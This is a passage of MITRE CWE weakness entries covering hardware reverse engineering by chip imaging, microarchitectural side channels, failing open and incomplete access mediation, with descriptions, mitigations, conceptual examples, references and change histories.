ISA/IEC 62443 Part 4-2 Req CR 4.1
ISA/IEC 62443 Part 4-2 Req CR 7.3
ISA/IEC 62443 Part 4-2 Req CR 1.5
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.
[REF-265] Frank Kim. "Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data". SANS Software Security Institute. 2010-02-26.
<https://www.sans.org/blog/top-25-series-rank-10-missing-encryption-of-sensitive-data/>. (URL validated: 2023-04-07)
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25.
<https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Contributions
Contribution Date Contributor Organization
2023-11-14
(CWE 4.14, 2024-02-29) 		participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Description, Diagram
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2022-06-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2015-12-07 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2013-07-17 CWE Content Team MITRE
updated Relationship_Notes
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations, References
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2010-12-13 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Potential_Mitigations, References
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction
2009-10-29 CWE Content Team MITRE
updated Common_Consequences, Other_Notes
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Failure to Encrypt Data
2010-02-16 Failure to Encrypt Sensitive Data
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CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques

Weakness ID: 1278
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.
+ Extended Description

The physical structure of a device, viewed at high enough magnification, can reveal the information stored inside. Typical steps in IC reverse engineering involve removing the chip packaging (decapsulation) then using various imaging techniques ranging from high resolution x-ray microscopy to invasive techniques involving removing IC layers and imaging each layer using a scanning electron microscope.

The goal of such activities is to recover secret keys, unique device identifiers, and proprietary code and circuit designs embedded in hardware that the attacker has been unsuccessful at accessing through other means. These secrets may be stored in non-volatile memory or in the circuit netlist. Memory technologies such as masked ROM allow easier to extraction of secrets than One-time Programmable (OTP) memory.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context

Scope: Confidentiality

A common goal of malicious actors who reverse engineer ICs is to produce and sell counterfeit versions of the IC.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
The cost of secret extraction via IC reverse engineering should outweigh the potential value of the secrets being extracted. Threat model and value of secrets should be used to choose the technology used to safeguard those secrets. Examples include IC camouflaging and obfuscation, tamper-proof packaging, active shielding, and physical tampering detection information erasure.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1388 Physical Access Issues and Concerns
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Consider an SoC design that embeds a secret key in read-only memory (ROM). The key is baked into the design logic and may not be modified after fabrication causing the key to be identical for all devices. An attacker in possession of the IC can decapsulate and delayer the device. After imaging the layers, computer vision algorithms or manual inspection of the circuit features locate the ROM and reveal the value of the key bits as encoded in the visible circuit structure of the ROM.



+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1372 ICS Supply Chain: OT Counterfeit and Malicious Corruption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1377 ICS Engineering (Construction/Deployment): Inherent Predictability in Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1413 Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements. It is more attack-oriented, so it might be more suited for CAPEC.
+ References
[REF-1092] Shahed E. Quadir, Junlin Chen, Domenic Forte, Navid Asadizanjani, Sina Shahbazmohamadi, Lei Wang, John Chandy and Mark Tehranipoor. "A Survey on Chip to System Reverse Engineering".
<https://dl.acm.org/doi/pdf/10.1145/2755563>. (URL validated: 2023-04-07)
[REF-1129] Christopher Tarnovsky. "Security Failures In Secure Devices". 2008-02-21.
<https://www.blackhat.com/presentations/bh-dc-08/Tarnovsky/Presentation/bh-dc-08-tarnovsky.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-05-20
(CWE 4.1, 2020-02-24) 		Nicole Fern Cycuity (originally submitted as Tortuga Logic)
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Maintenance_Notes
2020-08-20 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Modes_of_Introduction, Potential_Mitigations, References, Related_Attack_Patterns
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CWE-1303: Non-Transparent Sharing of Microarchitectural Resources

Weakness ID: 1303
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.
+ Extended Description

Modern processors use techniques such as out-of-order execution, speculation, prefetching, data forwarding, and caching to increase performance. Details about the implementation of these techniques are hidden from the programmer's view. This is problematic when the hardware implementation of these techniques results in resources being shared across supposedly isolated contexts. Contention for shared resources between different contexts opens covert channels that allow malicious programs executing in one context to recover information from another context.

Some examples of shared micro-architectural resources that have been used to leak information between contexts are caches, branch prediction logic, and load or store buffers. Speculative and out-of-order execution provides an attacker with increased control over which data is leaked through the covert channel.

If the extent of resource sharing between contexts in the design microarchitecture is undocumented, it is extremely difficult to ensure system assets are protected against disclosure.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Read Memory

Scope: Confidentiality

Microarchitectural side-channels have been used to leak specific information such as cryptographic keys, and Address Space Layout Randomization (ALSR) offsets as well as arbitrary memory.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Microarchitectural covert channels can be addressed using a mixture of hardware and software mitigation techniques. These include partitioned caches, new barrier and flush instructions, and disabling high resolution performance counters and timers.

Requirements
Microarchitectural covert channels can be addressed using a mixture of hardware and software mitigation techniques. These include partitioned caches, new barrier and flush instructions, and disabling high resolution performance counters and timers.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 203 Observable Discrepancy
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1189 Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1198 Privilege Separation and Access Control Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.
Implementation Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


On some processors the hardware indirect branch predictor is shared between execution contexts, for example, between sibling SMT threads. When SMT thread A executes an indirect branch to a target address X, this target may be temporarily stored by the indirect branch predictor. A subsequent indirect branch mis-prediction for SMT thread B could speculatively execute instructions at X (or at a location in B's address space that partially aliases X). Even though the processor rolls back the architectural effects of the mis-predicted indirect branch, the memory accesses alter data cache state, which is not rolled back after the indirect branch is resolved.



+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1418 Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. Finally, this entry's demonstrative example might not be appropriate. As a result, this entry might change significantly in CWE 4.10.
+ References
[REF-1121] Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, Stegfan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom and Mike Hamberg. "Meltdown: Reading Kernel Memory from User Space". 2018-01-03.
<https://meltdownattack.com/meltdown.pdf>.
[REF-1122] Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, Stegfan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom and Mike Hamberg. "Spectre Attacks: Exploiting Speculative Execution". 2018-01-03.
<https://spectreattack.com/spectre.pdf>.
[REF-1123] Dmitry Evtyushkin, Dmitry Ponomarev and Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016-10-19.
<https://ieeexplore.ieee.org/abstract/document/7783743/>.
[REF-1124] Qian Ge, Yuval Yarom, David Cock and Gernot Heiser. "A Survey of Microarchitectural Timing Attacks and Countermeasures on Contemporary Hardware". 2016-10-24.
<https://eprint.iacr.org/2016/613.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-05-08
(CWE 4.2, 2020-08-20) 		Nicole Fern Cycuity (originally submitted as Tortuga Logic)
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples, Maintenance_Notes
2021-03-15 CWE Content Team MITRE
updated Related_Attack_Patterns
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CWE-636: Not Failing Securely ('Failing Open')

Weakness ID: 636
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.
+ Extended Description
By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."
+ Alternate Terms
Failing Open
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 657 Violation of Secure Design Principles
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 755 Improper Handling of Exceptional Conditions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 455 Non-exit on Failed Initialization
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 280 Improper Handling of Insufficient Permissions or Privileges
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional."
Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 728 OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 961 SFP Secondary Cluster: Incorrect Exception Behavior
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1369 ICS Supply Chain: IT/OT Convergence/Expansion
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1418 Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Research Gap

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
OWASP Top Ten 2004 A7 CWE More Specific Improper Error Handling
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09.
<http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-522] Sean Barnum and Michael Gegick. "Failing Securely". 2005-12-05.
<https://web.archive.org/web/20221017053210/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/failing-securely>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-01-18
(CWE Draft 8, 2008-01-30) 		Pascal Meunier Purdue University
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms
2022-10-13 CWE Content Team MITRE
updated References
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-12-13 CWE Content Team MITRE
updated Research_Gaps
2009-05-27 CWE Content Team MITRE
updated Name
2009-03-10 CWE Content Team MITRE
updated Relationships
2009-01-12 CWE Content Team MITRE
updated Description, Name
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Description, Name, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-09-09 Design Principle Violation: Not Failing Securely
2009-01-12 Design Principle Violation: Not Failing Securely (aka 'Failing Open')
2009-05-27 Not Failing Securely (aka 'Failing Open')
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CWE-638: Not Using Complete Mediation

Weakness ID: 638
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data; Other

Scope: Integrity, Confidentiality, Availability, Access Control, Other

A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Architecture and Design
Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 657 Violation of Secure Design Principles
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 862 Missing Authorization
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 424 Improper Protection of Alternate Path
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.



Example 2


